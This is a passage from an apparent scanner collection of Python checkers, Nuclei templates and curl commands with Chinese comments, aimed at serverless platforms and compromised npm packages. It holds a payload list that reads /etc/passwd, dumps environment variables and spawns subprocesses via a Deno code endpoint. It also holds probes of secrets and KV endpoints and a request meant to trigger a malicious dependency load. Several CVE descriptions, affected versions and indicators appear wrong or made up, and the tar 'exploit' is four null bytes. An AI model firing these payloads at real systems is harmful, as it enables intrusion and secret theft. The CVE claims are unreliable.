        print(f"[*] CVE-2024-28863 tar.js DoS 安全检查")
        print(f"[*] 目标: {self.upload_url}")
        print(f"{'='*60}")
        self.test_upload()
        print(f"\n{'='*60}")
        print("[*] 检查完成。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_upload_url>")
        sys.exit(1)
    CVE202428863Checker(sys.argv[1]).run()

id: cve-2024-28863-tarjs-dos
info:
  name: CVE-2024-28863 - tar.js Denial of Service
  author: x7peeps
  severity: medium
  description: tar.js resource exhaustion via crafted tar files
  reference:
    - https://github.com/advisories/GHSA-5j23-4mf4-9gmw
  cvss:
    score: 7.5
    vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  tags: tar,dos,deno,nodejs,cve2024

http:
  - method: POST
    path:
      - "{{BaseURL}}/upload"
    headers:
      Content-Type: "multipart/form-data"
    body: "------boundary\r\nContent-Disposition: form-data; name=\"file\"; filename=\"exploit.tar\"\r\nContent-Type: application/x-tar\r\n\r\n\x00\x00\x00\x00\r\n------boundary--\r\n"
    matchers-condition: or
    matchers:
      - type: status
        status:
          - 502
          - 504
      - type: word
        words:
          - "timeout"
          - "exceeded"
        condition: or

# 检查目标环境是否使用了受影响版本的 event-stream
curl -s "https://target-worker.workers.dev/package-info" | \
  python3 -c "import sys,json; d=json.load(sys.stdin); print('VULNERABLE' if 'event-stream' in d.get('dependencies',{}) else 'SAFE')"

# 向 Serverless 函数发送触发恶意依赖加载的 payload
curl -s -X POST "https://target-worker.workers.dev/build" \
  -H "Content-Type: application/json" \
  -d '{"package":"event-stream","version":"3.3.6"}'

#!/usr/bin/env python3
"""
event-stream supply chain backdoor detection
检测目标环境中是否存在恶意 event-stream 依赖
用法: python3 event_stream_check.py <target_api_url>
"""
import sys
import json
import requests

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

MALICIOUS_PACKAGES = {
    "event-stream": {"safe_version": "4.0.0", "malicious_range": "<4.0.0"},
    "flatmap-stream": {"safe_version": None, "malicious_range": "all"},
    "ua-parser-js": {"safe_version": "0.7.28", "malicious_range": "0.7.28-1.0.0"},
    "coa": {"safe_version": "4.1.4", "malicious_range": "4.1.3"},
    "rc": {"safe_version": "1.2.9", "malicious_range": "1.2.8"},
}


class SupplyChainChecker:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def check_package_lock(self):
        print("[*] 阶段 1: 检查 package-lock.json 泄露")
        paths = [
            "/package-lock.json",
            "/package.json",
            "/node_modules/.package-lock.json",
        ]
        for path in paths:
            try:
                resp = self.session.get(f"{self.target_url}{path}", timeout=10)
                if resp.status_code == 200:
                    print(f"[+] ⚠️ {path} 可公开访问 ({resp.status_code})")
                    self._analyze_lock_file(resp.text)
            except requests.exceptions.RequestException:
                continue

    def _analyze_lock_file(self, content):
        try:
            data = json.loads(content)
            deps = data.get("dependencies", data.get("packages", {}))
            for pkg_name, pkg_info in MALICIOUS_PACKAGES.items():
                for dep_name, dep_info in deps.items():
                    if pkg_name in dep_name:
                        version = dep_info.get("version", "")
                        print(f"[!] 发现依赖: {dep_name}@{version}")
                        print(f"[!] 已知恶意范围: {pkg_info['malicious_range']}")
        except (json.JSONDecodeError, AttributeError):
            pass

    def run(self):
        print(f"[*] 供应链后门检测")
        print(f"[*] 目标: {self.target_url}")
        print(f"{'='*60}")
        self.check_package_lock()
        print(f"\n{'='*60}")
        print("[*] 检查完成。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_api_url>")
        sys.exit(1)
    SupplyChainChecker(sys.argv[1]).run()

id: supply-chain-event-stream
info:
  name: Supply Chain - event-stream Backdoor Detection
  author: x7peeps
  severity: high
  description: Detects malicious event-stream and related npm packages
  tags: supply-chain,npm,event-stream,malicious

http:
  - method: GET
    path:
      - "{{BaseURL}}/package.json"
      - "{{BaseURL}}/package-lock.json"
    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: word
        words:
          - "flatmap-stream"
          - "event-stream"
        condition: or

  - method: GET
    path:
      - "{{BaseURL}}/package.json"
    matchers:
      - type: word
        words:
          - "ua-parser-js"
          - "coa"
          - "rc"
        condition: or

# 检查目标环境的 ua-parser-js 版本
curl -s "https://target-worker.workers.dev/ua-parser-info" | grep -i version

# 探测 Worker 环境变量泄露（针对被入侵的构建环境）
curl -s "https://target-worker.workers.dev/debug" \
  -H "X-Debug-Token: test"

#!/usr/bin/env python3
"""
ua-parser-js 恶意版本检测
用法: python3 uaparser_check.py <target_url>
"""
import sys
import requests

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class UAParserChecker:
    MALICIOUS_VERSIONS = ["0.7.29", "0.8.0", "1.0.0"]
    C2_INDICATORS = [
        "browsermine.com",
        "syndication.twitter",
        "minecrunch.co",
    ]

    def __init__(self, target_url):
        self.target_url = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def check_dependency_leak(self):
        print("[*] 检查依赖信息泄露...")
        paths = ["/package.json", "/node_modules/ua-parser-js/package.json"]
        for path in paths:
            try:
                resp = self.session.get(f"{self.target_url}{path}", timeout=10)
                if resp.status_code == 200:
                    for ver in self.MALICIOUS_VERSIONS:
                        if ver in resp.text:
                            print(f"[!] ⚠️ 发现恶意版本 ua-parser-js@{ver}")
                            return True
            except requests.exceptions.RequestException:
                continue
        print("[+] 未发现恶意版本泄露")
        return False

    def check_c2_indicators(self):
        print("\n[*] 检查 C2 通信指标...")
        try:
            resp = self.session.get(self.target_url, timeout=10)
            for indicator in self.C2_INDICATORS:
                if indicator in resp.text.lower():
                    print(f"[!] ⚠️ 发现 C2 指标: {indicator}")
                    return True
        except requests.exceptions.RequestException:
            pass
        print("[+] 未发现 C2 指标")
        return False

    def run(self):
        print(f"[*] ua-parser-js 恶意版本检测")
        print(f"[*] 目标: {self.target_url}")
        print(f"{'='*60}")
        self.check_dependency_leak()
        self.check_c2_indicators()
        print(f"\n{'='*60}")
        print("[*] 检查完成。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_url>")
        sys.exit(1)
    UAParserChecker(sys.argv[1]).run()

id: supply-chain-ua-parser-js
info:
  name: Supply Chain - ua-parser-js Malicious Version Detection
  author: x7peeps
  severity: high
  description: Detects compromised ua-parser-js npm package versions
  tags: supply-chain,npm,ua-parser-js,cryptominer

http:
  - method: GET
    path:
      - "{{BaseURL}}/node_modules/ua-parser-js/package.json"
      - "{{BaseURL}}/package.json"
    stop-at-first-match: true
    matchers:
      - type: word
        words:
          - "0.7.29"
          - "0.8.0"
          - "1.0.0"
        condition: or

# 探测目标 Workers 域名的绑定配置
curl -sI "https://target-organization.workers.dev/" | head -20

# 检查 Workers 的 KV 命名空间暴露
curl -s "https://target-organization.workers.dev/api/kv/list" \
  -H "Authorization: Bearer test"

# 探测 Workers 的 Secrets 暴露
curl -s "https://target-organization.workers.dev/api/secrets"

#!/usr/bin/env python3
"""
CVE-2024-29972 Sandworm Workers Lateral Movement Detection
用法: python3 cve_2024_29972.py <target_workers_url>
"""
import sys
import requests

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class SandwormDetector:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def check_worker_bindings(self):
        print("[*] 阶段 1: Workers 域名绑定探测")
        paths = [
            "/api/kv/list",
            "/api/secrets",
            "/api/bindings",
            "/debug",
            "/.well-known/security.txt",
            "/api/worker-info",
        ]
        for path in paths:
            try:
                resp = self.session.get(
                    f"{self.target_url}{path}",
                    timeout=10,
                    headers={"X-Sandworm-Probe": "true"}
                )
                if resp.status_code in (200, 403):
                    print(f"[!] 潜在暴露端点: {path} (HTTP {resp.status_code})")
                    if resp.status_code == 200:
                        print(f"[!] ⚠️ 响应内容: {resp.text[:200]}")
            except requests.exceptions.RequestException:
                continue

    def check_kv_isolation(self):
        print("\n[*] 阶段 2: KV 数据隔离检查")
        try:
            resp = self.session.get(
                f"{self.target_url}/api/kv",
                timeout=10,
                params={"namespace": "default", "key": "test"}
            )
            if resp.status_code == 200:
                print("[!] ⚠️ KV 命名空间可能暴露")
        except requests.exceptions.RequestException:
            pass

    def run(self):
        print(f"[*] CVE-2024-29972 Sandworm Workers 攻击检测")
        print(f"[*] 目标: {self.target_url}")
        print(f"{'='*60}")
        self.check_worker_bindings()
        self.check_kv_isolation()
        print(f"\n{'='*60}")
        print("[*] 检查完成。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_workers_url>")
        sys.exit(1)
    SandwormDetector(sys.argv[1]).run()

id: cve-2024-29972-sandworm-workers
info:
  name: CVE-2024-29972 - Sandworm Workers Lateral Movement
  author: x7peeps
  severity: high
  description: APT lateral movement via Cloudflare Workers misconfiguration
  reference:
    - https://www.volexity.com/blog/
  tags: cloudflare,workers,sandworm,apt,lateral-movement,cve2024

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/kv/list"
      - "{{BaseURL}}/api/bindings"
      - "{{BaseURL}}/debug"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "kv"
          - "namespace"
          - "binding"
        condition: or

#!/usr/bin/env python3
"""
Cloudflare Workers KV 数据隔离验证
用法: python3 kv_isolation_check.py <worker_url>
"""
import sys
import requests

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class KVIsolationChecker:
    def __init__(self, worker_url):
        self.worker_url = worker_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def check_kv_exposure(self):
        print("[*] KV 数据隔离检查")
        probes = [
            "/api/kv",
            "/api/storage",
            "/kv",
            "/data",
            "/config",
        ]
        for path in probes:
            try:
                resp = self.session.get(f"{self.worker_url}{path}", timeout=10)
                if resp.status_code == 200:
                    print(f"[!] ⚠️ 潜在 KV 暴露: {path}")
                    print(f"[+] 响应: {resp.text[:300]}")
            except requests.exceptions.RequestException:
                continue

    def run(self):
        print(f"[*] 目标: {self.worker_url}")
        print(f"{'='*60}")
        self.check_kv_exposure()
        print(f"{'='*60}")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <worker_url>")
        sys.exit(1)
    KVIsolationChecker(sys.argv[1]).run()

# 在目标 Deno Deploy 上发送绕过权限的请求
curl -s -X POST "https://target-deno.deno.dev/run" \
  -H "Content-Type: application/json" \
  -d '{
    "code": "Deno.readTextFileSync(\"/etc/passwd\")"
  }'

#!/usr/bin/env python3
"""
CVE-2023-38124 Deno 权限绕过检测
用法: python3 cve_2023_38124.py <target_deno_url>
"""
import sys
import json
import requests

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PRIVILEGE_ESCALATION_PAYLOADS = [
    {"desc": "文件读取绕过", "code": "Deno.readTextFileSync('/etc/passwd')"},
    {"desc": "环境变量泄露", "code": "JSON.stringify(Deno.env.toObject())"},
    {"desc": "网络连接绕过", "code": "await Deno.connect({hostname:'127.0.0.1',port:6379})"},
    {"desc": "子进程逃逸", "code": "const c = Deno.Command; new c('id').output()"},
    {"desc": "符号链接利用", "code": "Deno.readLinkSync('/tmp/evil_link')"},
]


class DenoPermissionBypassChecker:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def test_bypass(self, payload):
        try:
            resp = self.session.post(
                self.target_url,
                json={"code": payload["code"]},
                timeout=15
            )
            return resp
        except requests.exceptions.RequestException:
            return None

    def run(self):
        print(f"[*] CVE-2023-38124 Deno 权限绕过检测")
        print(f"[*] 目标: {self.target_url}")
        print(f"{'='*60}")
        
        for payload in PRIVILEGE_ESCALATION_PAYLOADS:
            print(f"\n[*] 测试: {payload['desc']}")
            resp = self.test_bypass(payload)
            if resp:
                if resp.status_code == 200 and "PermissionDenied" not in resp.text:
                    print(f"[!] ⚠️ 权限绕过成功!")
                    print(f"[+] 响应: {resp.text[:300]}")
                elif "PermissionDenied" in resp.text:
                    print(f"[+] 权限检查正常（PermissionDenied）")
                else:
                    print(f"[-] 响应: {resp.status_code}")
        
        print(f"\n{'='*60}")
        print("[*] 检查完成。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <target_deno_url>")
        sys.exit(1)
    DenoPermissionBypassChecker(sys.argv[1]).run()

id: cve-2023-38124-deno-permission-bypass
info:
  name: CVE-2023-38124 - Deno Permission System Bypass
  author: x7peeps
  severity: high
  description: Deno permission system bypass allowing unauthorized resource access
  cvss:
    score: 7.5
    vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  tags: deno,permission-bypass,cve2023

http:
  - method: POST
    path:
      - "{{BaseURL}}"
    headers:
      Content-Type: "application/json"
    body: |
      {"code":"Deno.readTextFileSync('/etc/passwd')"}
    matchers:
      - type: word
        words:
          - "root:x:0:0"
          - "PermissionDenied"
        condition: or

#!/usr/bin/env python3
"""
AWS Lambda@Edge 冷启动注入检测
用法: python3 lambda_edge_inject.py <cloudfront_domain>
"""
import sys
import requests
import re

urllib3 = __import__('urllib3')
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class LambdaEdgeChecker:
    def __init__(self, cloudfront_domain):
        self.domain = cloudfront_domain.rstrip("/")
        self.session = requests.Session()
        self.session.verify = False

    def check_lambda_cold_start(self):
        print("[*] Lambda@Edge 冷启动探测")
        edge_headers = [
            "x-amz-cf-id",
            "x-amz-cf-pop",
            "x-edge-result-type",
            "x-edge-request-id",
        ]
        resp = self.session.get(f"https://{self.domain}/", timeout=10)
        found_headers = {}
        for header in edge_headers:
            value = resp.headers.get(header)
            if value:
                found_headers[header] = value
                print(f"[+] {header}: {value}")
        
        if found_headers.get("x-edge-result-type") == "error":
            print("[!] ⚠️ Edge 函数返回错误——可能触发冷启动异常")
        
        return found_headers

    def test_code_injection_vector(self):
        print("\n[*] 代码注入向量探测")
        injection_paths = [
            "/?callback=console.log",
            "/?inject=__test__",
            "/?import=cross-origin",
        ]
        for path in injection_paths:
            try:
                resp = self.session.get(
                    f"https://{self.domain}{path}",
                    timeout=10,
                    headers={"User-Agent": "LambdaEdge-Test/1.0"}
                )
                print(f"[+] {path}: HTTP {resp.status_code}")
            except requests.exceptions.RequestException:
                continue

    def run(self):
        print(f"[*] AWS Lambda@Edge 冷启动注入检测")
        print(f"[*] 目标: {self.domain}")
        print(f"{'='*60}")
        self.check_lambda_cold_start()
        self.test_code_injection_vector()
        print(f"\n{'='*60}")
        print("[*] 检查完成。")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: python3 {sys.argv[0]} <cloudfront_domain>")
        print(f"示例: python3 {sys.argv[0]} d1234567890.cloudfront.net")
        sys.exit(1)
    LambdaEdgeChecker(sys.argv[1]).run()

id: lambda-edge-cold-start-injection
info:
  name: AWS Lambda@Edge Cold Start Injection Detection
  author: x7peeps
  severity: high
  description: Lambda@Edge cold start code injection vector detection
  tags: aws,lambda,cloudfront,edge,injection

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      User-Agent: "LambdaEdge-Probe/1.0"
    extractors:
      - type: kval
        kval:
          - x-amz-cf-id
          - x-amz-cf-pop
          - x-edge-result-type